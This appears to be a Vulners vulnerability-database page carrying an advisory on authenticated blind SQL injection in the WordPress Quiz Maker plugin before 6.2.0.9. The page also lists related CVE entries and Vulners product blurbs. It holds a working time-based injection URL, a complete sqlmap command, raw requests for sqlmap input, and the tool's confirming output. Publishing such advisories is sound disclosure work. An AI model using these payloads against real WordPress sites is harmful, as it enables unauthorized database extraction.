Lucene search
+L

Quiz Maker < 6.2.0.9 - Multiple Authenticated Blind SQL Injections

🗓️ 29 Jun 2021 00:00:00Reported by duongtqType 
wpexploit
 wpexploit
👁 726 Views

Quiz Maker version < 6.2.0.9 - Multiple Authenticated Blind SQL Injections in includes/lists/ files. PoC examples: "https://example.com/wp-admin/admin.php?page=quiz-maker-question-categories&orderby=title%20AND%20(SELECT%206418%20FROM%20(SELECT(SLEEP(5)))PLuH)&order=asc". SQLMAP testing and output for MySQL 8.0.0 on Linux Ubuntu 20.04 or 19.10 with Apache 2.4.41

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
WordPress SQL注入漏洞
2 Aug 202100:00
cnnvd
CNVD
WordPress Quiz Maker plugin SQL Injection Vulnerability
5 Aug 202100:00
cnvd
CVE
CVE-2021-24456
2 Aug 202110:32
cve
Cvelist
CVE-2021-24456 Quiz Maker < 6.2.0.9 - Multiple Authenticated Blind SQL Injections
2 Aug 202110:32
cvelist
EUVD
EUVD-2021-11368
7 Oct 202500:30
euvd
NVD
CVE-2021-24456
2 Aug 202111:15
nvd
OSV
CVE-2021-24456
2 Aug 202111:15
osv
Patchstack
WordPress Quiz Maker plugin <= 6.2.0.8 - Multiple Authenticated Blind SQL Injection (SQLi) vulnerabilities
29 Jun 202100:00
patchstack
Prion
Sql injection
2 Aug 202111:15
prion
RedhatCVE
CVE-2021-24456
22 May 202519:22
redhatcve
Rows per page
All the files in includes/lists/ were affected and the PoC below are just examples of them

https://example.com/wp-admin/admin.php?page=quiz-maker-question-categories&orderby=title%20AND%20(SELECT%206418%20FROM%20(SELECT(SLEEP(5)))PLuH)&order=asc


SQLMAP: python sqlmap.py -r r.txt -p orderby  --level 5 --risk 3 --dbms MySQL --technique B --dbs 
With r.txt is GET OR POST requests to sort quiz:

GET /wp-admin/admin.php?page=quiz-maker&orderby=id--&order=desc HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

OR :

POST /wp-admin/admin.php?page=quiz-maker HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Connection: close
Cookie: [admin+]

orderby=id--&order=desc&s=d&action=-1&paged=1&filterby-top=&action2=-1&filterby-bottom=

SQLMAP OUTPUT:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: page=quiz-maker&orderby=(SELECT (CASE WHEN (5750=5750) THEN 0x7469746c65 ELSE (SELECT 1570 UNION SELECT 3396) END))&order=asc
---
[22:38:25] [INFO] testing MySQL
[22:38:25] [INFO] confirming MySQL
[22:38:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 8.0.0

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2021 11:15Current
0.7Low risk
Vulners AI Score0.7
EPSS0.01292
726